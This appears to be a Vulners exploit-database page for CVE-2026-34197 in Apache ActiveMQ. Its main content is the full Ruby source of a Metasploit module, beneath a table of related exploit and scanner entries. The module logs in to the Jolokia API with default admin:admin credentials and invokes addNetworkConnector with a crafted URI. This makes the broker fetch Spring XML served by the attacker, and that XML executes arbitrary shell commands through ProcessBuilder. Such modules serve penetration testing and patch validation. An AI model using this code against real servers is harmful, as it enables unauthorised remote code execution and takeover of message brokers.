| Reporter | Title | Published | Views | Family All 81 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in Apache Activemq | 18 May 202614:36 | – | githubexploit | |
| Exploit for Improper Input Validation in Apache Activemq | 8 May 202605:39 | – | githubexploit | |
| Exploit for CVE-2026-34197 | 8 Apr 202620:07 | – | githubexploit | |
| Exploit for CVE-2026-34197 | 14 Apr 202620:44 | – | githubexploit | |
| Exploit for CVE-2026-34197 | 9 Apr 202609:44 | – | githubexploit | |
| Exploit for Improper Input Validation in Apache Activemq | 18 May 202603:30 | – | githubexploit | |
| Exploit for CVE-2026-34197 | 8 Apr 202609:18 | – | githubexploit | |
| Exploit for CVE-2026-34197 | 10 Apr 202601:29 | – | githubexploit | |
| Apache ActiveMQ < 5.19.6 / 6.x < 6.2.5 Multiple Vulnerabilities | 30 Apr 202600:00 | – | nessus | |
| Apache ActiveMQ < 5.19.4 / 6.x < 6.2.3 Improper Input Validation Code Injection | 10 Apr 202600:00 | – | nessus |
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',
'Description' => %q{
Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.
An authenticated attacker can invoke the addNetworkConnector() MBean
operation with a crafted URI that causes the broker to fetch a remote
Spring XML configuration over HTTP. The Spring XML instantiates a
ProcessBuilder bean that executes attacker-supplied OS commands.
Default credentials (admin:admin) are accepted by many installations.
Verified on docker image
},
'Author' => [
'dinosn', # Discovery and PoC
'h00die' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-34197'],
['URL', 'https://github.com/dinosn/CVE-2026-34197'],
['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']
],
'DisclosureDate' => '2026-04-29',
'Platform' => %w[linux unix win],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Stance' => Stance::Aggressive,
'Targets' => [
['Windows', { 'Platform' => 'win' }],
['Linux', { 'Platform' => %w[linux unix] }],
['Unix', { 'Platform' => 'unix' }]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'WfsDelay' => 30
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(8161),
OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),
OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),
OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),
OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
return CheckCode::Unknown('No response from target') unless res
return CheckCode::Unknown('Authentication failed (401) — check USERNAME/PASSWORD') if res.code == 401
return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403
return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200
data = res.get_json_document
return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?
agent = data.dig('value', 'agent') || 'unknown'
CheckCode::Appears("Jolokia accessible — agent version: #{agent}")
end
def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri}")
case target['Platform']
when 'win'
shell = 'cmd.exe'
flag = '/c'
else
shell = '/bin/sh'
flag = '-c'
end
xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>#{shell}</value>
<value>#{flag}</value>
<value><![CDATA[#{payload.encoded}]]></value>
</list>
</constructor-arg>
</bean>
</beans>)
send_response(cli, xml, {
'Content-Type' => 'application/xml',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_good('Malicious Spring XML served — target will execute payload via ProcessBuilder')
end
def exploit
start_service
bname = detect_broker_name
print_status("Using broker name: #{bname}")
remove_network_connector(bname, 'NC')
# static:(...) is the network connector discovery URI.
# vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.
# brokerConfig=xbean:http://... loads remote Spring XML config.
malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"
jolokia_body = {
'type' => 'exec',
'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",
'operation' => 'addNetworkConnector(java.lang.String)',
'arguments' => [malicious_uri]
}.to_json
print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")
vprint_status("Malicious URI: #{malicious_uri}")
# Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload
# asynchronously, so the Jolokia POST often never returns a response.
# We handle the session in the handler regardless.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'ctype' => 'application/json',
'data' => jolokia_body,
'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },
'timeout' => 10
})
if res.nil?
print_status('Jolokia POST timed out — broker is likely fetching Spring XML and executing payload')
elsif res.code == 401
fail_with(Failure::NoAccess, 'Authentication failed — check USERNAME/PASSWORD')
elsif res.code != 200
print_warning("Unexpected HTTP status: #{res.code} — continuing anyway")
else
result = res.get_json_document
if result.empty?
print_warning('Could not parse Jolokia response — continuing anyway')
elsif result['status'] == 200
print_good('Jolokia accepted the payload — waiting for target to fetch Spring XML...')
else
print_warning("Jolokia returned status #{result['status']}: #{result['error']}")
end
end
handler
end
private
def remove_network_connector(broker_name, connector_name)
body = {
'type' => 'exec',
'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",
'operation' => 'removeNetworkConnector(java.lang.String)',
'arguments' => [connector_name]
}.to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'ctype' => 'application/json',
'data' => body,
'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }
})
if res&.code == 200
vprint_status("Removed existing '#{connector_name}' network connector")
else
vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) — continuing")
end
end
def detect_broker_name
return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
})
if res&.code == 200
data = res.get_json_document
if !data.empty? && data['status'] == 200 && data['value']
data['value'].each_key do |mbean|
mbean.split(',').each do |part|
next unless part.start_with?('brokerName=')
name = part.split('=', 2).last
vprint_status("Discovered broker name: #{name}")
return name
end
end
end
end
vprint_status("Could not discover broker name, using default 'localhost'")
'localhost'
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation